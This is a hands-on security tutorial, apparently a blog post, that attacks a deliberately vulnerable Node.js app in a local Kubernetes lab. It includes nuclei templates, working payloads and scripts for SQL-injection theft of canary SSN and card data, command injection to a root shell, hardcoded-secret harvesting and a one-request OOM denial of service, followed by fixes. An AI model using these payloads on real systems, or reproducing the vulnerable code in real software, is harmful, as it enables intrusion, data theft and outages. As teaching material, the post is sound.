Break a Vulnerable App on Kubernetes: Recon to RCE With OSS Tools
You are handed one URL and nothing else: http://localhost:8080. Behind it sits
a small Node.js service on a real Kubernetes cluster, backed by Postgres. Your
job is the attacker’s job — find out what’s wrong with it, then prove it’s
actually wrong by taking the data, running your own commands on the box, and
knocking it over. A scanner printing red text is a claim. This post is about the
step after the claim: turning “the tool flagged it” into a stolen record and a
shell.
The whole thing runs on your laptop against a target built for this lab and
nothing else — a disposable kind cluster, a Postgres seeded with fake
customer records and canary tokens, and no network egress out of the
cluster. Every vulnerable line in the app is commented DELIBERATELY VULNERABLE.
Don’t point any of this at a system you don’t own. One command takes you from a
fresh clone to a live target:
./run.sh
That does three things in order: up (build the image, create the cluster,
deploy Postgres and the app), recon (scan with nuclei), and exploit (run
all four exploits). If you know docker compose up, this is the
Kubernetes-shaped equivalent — one command, disposable, fully torn down with
./run.sh down when you’re finished. Every code block below is copied verbatim
from the lab.
Recon: reading the findings like an attacker
Recon with nuclei doesn’t magically know your app is broken. It knows exactly
what you told it to look for — and the real skill it teaches is writing those
checks yourself. This lab ships four templates, one per bug, and scans with only
those (no public template feed, no network calls). Here’s the one that hunts for
SQL injection:
labs/lab-k8s-appsec-exploit/recon/templates/sqli-error.yaml:
id: vuln-lab-sqli-error
info:
name: Error-based SQL injection in customer search
author: tech-with-ugur
severity: high
description: A single quote in the q parameter provokes a database syntax error, echoed to the client.
http:
- method: GET
path:
- "{{BaseURL}}/api/customers/search?q=%27"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "at or near"
- type: status
status:
- 500
Notice the matcher word: at or near, not the folklore “syntax error.” That
detail came out of building the lab, not out of a textbook. A lone quote in the
search parameter makes Postgres return unterminated quoted string ... at or near "...", and if you write the template for the string you expected, it
never fires. You only learn what a broken response from your app looks like by
hitting the live database. A scanner is only ever as good as the person who told
it what “broken” means.
Run recon and the four findings come back as JSONL. Read them like an attacker would — severity first, then which surface each one points at:
jq -r '"[" + .info.severity + "] " + .["template-id"] + " - " + .info.name' \
tmp/nuclei-findings.jsonl
[high] vuln-lab-sqli-error — Error-based SQL injection in customer search
[critical] vuln-lab-cmd-injection — OS command injection in network lookup
[high] vuln-lab-exposed-secret — Hardcoded API key exposed on a debug endpoint
[info] vuln-lab-report-surface — Unbounded allocation endpoint exposed
Four findings, four attack surfaces. But every one of these is still just a signal — a syntax error, a reflected string, a secret-shaped value, an endpoint that echoes a byte count. None of it is impact yet. That’s the rest of the post.
Exploit 1: SQL injection to a stolen identity
The finding is a syntax error. The impact is someone’s SSN. Here’s the gap between them — the vulnerable query builds its SQL by pasting the search term straight into the string:
labs/lab-k8s-appsec-exploit/app/src/db/customers.ts:
// DELIBERATELY VULNERABLE: the user-supplied `q` is concatenated straight into
// the SQL. A parameterized query ($1) would close this hole — and defeat the
// lab. The base query selects two text columns so a UNION payload lines up.
export function buildSearchSql(q: string): string {
return `SELECT full_name, email FROM customers WHERE full_name ILIKE '%${q}%' ORDER BY id`;
}
That single quote the scanner sent broke out of the string literal — which is
the whole game. If a ' can escape the quotes, so can a UNION. The base query
selects two text columns (full_name, email), so an attacker appends a
UNION SELECT of two other columns — the ones the endpoint was never meant to
expose — and comments out the rest:
labs/lab-k8s-appsec-exploit/exploits/sqli_pii.py:
#!/usr/bin/env python3
"""SQL injection -> exfiltrate the seeded canary PII row via a UNION payload."""
from lib import fail, get_json, ok
CANARY_SSN = "900-55-0001"
CANARY_CARD = "4000-0000-0000-0002"
print("[*] Exploit 1: SQL injection -> PII exfiltration")
# The search query is: ... WHERE full_name ILIKE '%<q>%'. Close the string,
# UNION a select of two text columns (ssn, credit_card) for the canary row,
# then comment out the trailing SQL.
payload = "' UNION SELECT ssn, credit_card FROM customers WHERE notes LIKE '%PII-CANARY%'-- "
status, body = get_json("/api/customers/search", {"q": payload})
if status != 200:
fail(f"expected 200, got {status}: {body}")
leaked = body.get("results", [])
values = {row.get("full_name") for row in leaked} | {row.get("email") for row in leaked}
if CANARY_SSN not in values:
fail(f"canary SSN not exfiltrated; got {leaked}")
if CANARY_CARD not in values:
fail(f"canary card not exfiltrated; got {leaked}")
ok(f"Stole canary PII via UNION injection: SSN {CANARY_SSN}, card {CANARY_CARD}")
The proof isn’t “the query looked injectable.” It’s a specific row. The database is seeded with one canary customer whose values exist for exactly this purpose:
labs/lab-k8s-appsec-exploit/k8s/seed.sql:
-- The canary: the one record the exploit must exfiltrate to prove impact.
('Canary McTestface', 'canary@lab.invalid', '900-55-0001', '4000-0000-0000-0002', 'PII-CANARY-7Q2X9');
When the results array — which is supposed to hold name/email pairs — comes
back carrying 900-55-0001 and 4000-0000-0000-0002, the exploit passes. Those
are columns the search endpoint has no business returning. The syntax error told
us the query was malleable; the UNION is what tells us exactly what walks out
the door.
Exploit 2: command injection to a root shell
The critical finding is an endpoint that “pings a host.” What it actually does is hand your input to a shell:
labs/lab-k8s-appsec-exploit/app/src/system/lookup.ts:
// DELIBERATELY VULNERABLE: user input is concatenated into a shell command and
// run through /bin/sh, so any `;`-separated payload executes. A real diagnostic
// endpoint would use execFile with an argument array and validate the host.
export function buildLookupCommand(host: string): string {
return `ping -c 1 -W 1 ${host}`;
}
The scanner’s template proves an appended echo gets reflected — it sends
host=127.0.0.1; echo nucleicanary9021 and checks the nonce comes back. That’s
suggestive, but echoing a string is not the same as running a program. So the
exploit terminates the ping, echoes its own nonce, and then runs id to
show it’s executing real commands, not reflecting text:
labs/lab-k8s-appsec-exploit/exploits/cmd_injection_rce.py:
#!/usr/bin/env python3
"""Command injection -> prove arbitrary code execution with an attacker nonce."""
from lib import fail, get_json, ok
NONCE = "RCE-PROOF-4f9a2c"
print("[*] Exploit 3: OS command injection -> RCE")
# host is concatenated into `ping -c 1 -W 1 <host>` and run via /bin/sh.
# Terminate the ping, echo our nonce, and run `id` to show code execution.
payload = f"127.0.0.1; echo {NONCE}; id"
status, body = get_json("/api/net/lookup", {"host": payload})
if status != 200:
fail(f"expected 200, got {status}")
output = body.get("output", "")
if NONCE not in output:
fail(f"nonce not reflected; command did not execute. output={output!r}")
ok(f"Executed injected commands (nonce {NONCE} echoed by the server):")
for line in output.splitlines():
if NONCE in line or line.startswith("uid="):
print(" " + line)
The recon nonce (nucleicanary9021) and the exploit nonce (RCE-PROOF-4f9a2c)
are deliberately different — that keeps “the scanner tickled it” and “I ran code”
as two separate, provable claims. The output field comes back with the nonce
followed by a real uid=...(root) line: the server ran whatever was appended
after the ;. Reflection is a hint; id printing the user the process runs as
is arbitrary code execution.
Exploit 3: harvesting a hardcoded secret
Not every bug needs a payload. Sometimes the app just hands you the key. This one bakes a credential into source and ships it in the image:
labs/lab-k8s-appsec-exploit/app/src/config.ts:
// DELIBERATELY VULNERABLE: a hardcoded credential committed to source control
// and baked into the container image. Real code must never do this — the whole
// point of the secret-leak exploit is that this value is trivially recoverable.
export const INTERNAL_API_KEY = "sk-vuln-lab-DO-NOT-USE-0000-canary"; // example-only fake key; real secrets must never be committed
And then a debug endpoint reads it straight back to any unauthenticated caller:
labs/lab-k8s-appsec-exploit/app/src/server/routes.ts:
app.get("/api/debug/config", (_req: Request, res: Response) => {
// DELIBERATELY VULNERABLE: a debug endpoint dumps secrets to any caller.
res.json({
internalApiKey: INTERNAL_API_KEY,
databaseUrl: process.env.DATABASE_URL ?? "",
nodeEnv: process.env.NODE_ENV ?? "development",
});
});
The exploit is a single request and an equality check — there’s nothing to “attack,” which is exactly why hardcoded secrets are so dangerous:
labs/lab-k8s-appsec-exploit/exploits/secret_leak.py:
#!/usr/bin/env python3
"""Hardcoded-secret exposure -> read the internal API key off the debug endpoint."""
from lib import fail, get_json, ok
EXPECTED_KEY = "sk-vuln-lab-DO-NOT-USE-0000-canary"
print("[*] Exploit 2: hardcoded secret exposure")
status, body = get_json("/api/debug/config")
if status != 200:
fail(f"expected 200, got {status}")
key = body.get("internalApiKey", "")
if key != EXPECTED_KEY:
fail(f"unexpected key: {key!r}")
ok(f"Recovered hardcoded internal API key: {key}")
A scanner spotting a secret-shaped string is a hint. Getting the exact value back — the same key that ships in every image built from this Dockerfile — confirms it’s the live credential, not a false positive. Rotate it and you’ve rebuilt the image; that’s the tell of a baked-in secret versus one loaded at runtime.
Exploit 4: crashing the pod with one request
The last finding is rated info — the least alarming label in the report. It’s
also the one that takes the whole service down. The endpoint allocates memory
scaled by a number the caller picks, with no ceiling:
labs/lab-k8s-appsec-exploit/app/src/system/report.ts:
const CHUNK_BYTES = 8 * 1024 * 1024;
// DELIBERATELY VULNERABLE: the caller-controlled `rows` drives an unbounded,
// retained, off-heap allocation. Each chunk is filled (not left as unfaulted
// virtual memory), so every page is actually committed and container RSS
// grows until the cgroup memory limit trips and the kernel OOM-kills the
// process — a one-request DoS. A real endpoint would cap `rows` and stream
// results.
export function buildReport(rows: number): { bytes: number } {
const retained: Buffer[] = [];
for (let i = 0; i < rows; i += 1) {
retained.push(Buffer.alloc(CHUNK_BYTES, 1));
}
return { bytes: retained.length * CHUNK_BYTES };
}
That Buffer.alloc(CHUNK_BYTES, 1) — with the fill byte — is the detail that
makes this work, and it’s the single most instructive thing I learned building
the lab. The first version used Buffer.allocUnsafe, which reserves virtual
memory whose pages are never faulted in. The pod’s resident memory never grew,
the cgroup never noticed, and a nominal half-gigabyte “allocation” did nothing
at all. Switching to Buffer.alloc(..., 1) touches every page, so the memory is
genuinely committed — and now the container’s RSS actually climbs. The gap
between “I allocated memory” and “the kernel accounted for that memory” is where
a lot of naïve DoS attempts quietly fail.
The other half of the setup is the pod’s memory limit, deliberately tight:
labs/lab-k8s-appsec-exploit/k8s/app.yaml:
resources:
requests:
memory: 64Mi
limits:
# A deliberately tight cap so one /api/report request OOM-kills
# the container — that is the resource-exhaustion demo.
memory: 128Mi
Now the arithmetic is lethal: 64 rows × 8 MiB is 512 MiB of committed memory against a 128 MiB cap. The exploit fires exactly one request and expects the connection to die — the process is killed mid-allocation, so a clean response would mean the attack failed:
labs/lab-k8s-appsec-exploit/exploits/dos_oom.py:
#!/usr/bin/env python3
"""Resource-exhaustion DoS -> one request OOM-kills the memory-capped pod."""
from lib import BASE_URL, ok
print("[*] Exploit 4: resource-exhaustion DoS")
print(f" Sending an oversized report request to {BASE_URL} ...")
# 64 * 8MiB = 512MiB, far over the 128Mi container limit. The process is killed
# mid-allocation, so the request never returns cleanly — a timeout/reset here is
# the expected, successful outcome. Pod-status verification lives in e2e.sh.
try:
import urllib.request
urllib.request.urlopen(f"{BASE_URL}/api/report?rows=64", timeout=15)
print(" (request returned; the crash assertion is checked in e2e.sh)")
except Exception as err: # noqa: BLE001 — any transport failure means the pod died mid-request
print(f" request aborted as expected: {type(err).__name__}")
ok("Sent the exhaustion request (OOMKill + restart verified in e2e).")
The real proof isn’t the aborted request — it’s what Kubernetes reports about the pod afterward:
kubectl -n appsec get pod -l app=vuln-app \
-o jsonpath='{.items[0].status.containerStatuses[0].restartCount} {.items[0].status.containerStatuses[0].lastState.terminated.reason}{"\n"}'
1 OOMKilled
restartCount moved from 0 to 1, and lastState.terminated.reason reads
OOMKilled — the kernel killed the container for blowing past its cgroup limit.
Then Kubernetes restarts it, /health answers again within seconds, and the pod
looks perfectly healthy. That self-heal is a trap: it quietly hides how real the
crash was. A single request took the service down; a steady trickle of them
would hold it in CrashLoopBackOff. The “info” finding was the most dangerous
one in the report.
What just happened
Four findings, four classes of bug, and in every case the scanner’s output was only step one:
- SQL injection — a syntax error became a stolen SSN and credit card via a
UNION. Fix: parameterized queries ($1placeholders), never string concatenation. - Command injection — a reflected string became arbitrary code execution
running as root. Fix:
execFilewith an argument array (no shell) plus an input allowlist. - Hardcoded secret — a secret-shaped value became the live, image-wide credential. Fix: load secrets from the environment or a secret store at runtime; never commit or bake them in.
- Resource exhaustion — an “info” endpoint became a one-request pod kill. Fix: pair Kubernetes memory limits with input validation that caps the size before allocating.
The through-line is that a scanner finds the shape of a problem — an error, a
reflection, a pattern match, an echoed byte count. Whether that shape is a real
breach is a separate question, and answering it is the attacker’s actual work.
Every proof in this lab is a deterministic canary — a seeded row, a chosen
nonce, an exact key, an OOMKilled status — so the whole run either turns green
or it doesn’t. No fuzzy string matching, no “looks exploitable.”
What’s next
Every one of these four bugs was caught after the app was already running, by
attacking a live target — the most expensive place to find them. The same four
mistakes are all visible in the source: the concatenated SQL, the shelled-out
host, the committed key, the unbounded allocation. The follow-up
lab flips the timeline and
catches them before any of it reaches a running pod — Gitleaks and Semgrep on
the source, Trivy on the build, and a Kyverno gate that refuses to admit the bad
image. Feeling the attack first is what makes that shift-left story land.
The full lab — the kind bring-up, all four nuclei templates, every exploit,
and the automated end-to-end proof — is in the lab
README.
Clone it, run ./run.sh, and watch each finding go from red text to real
impact.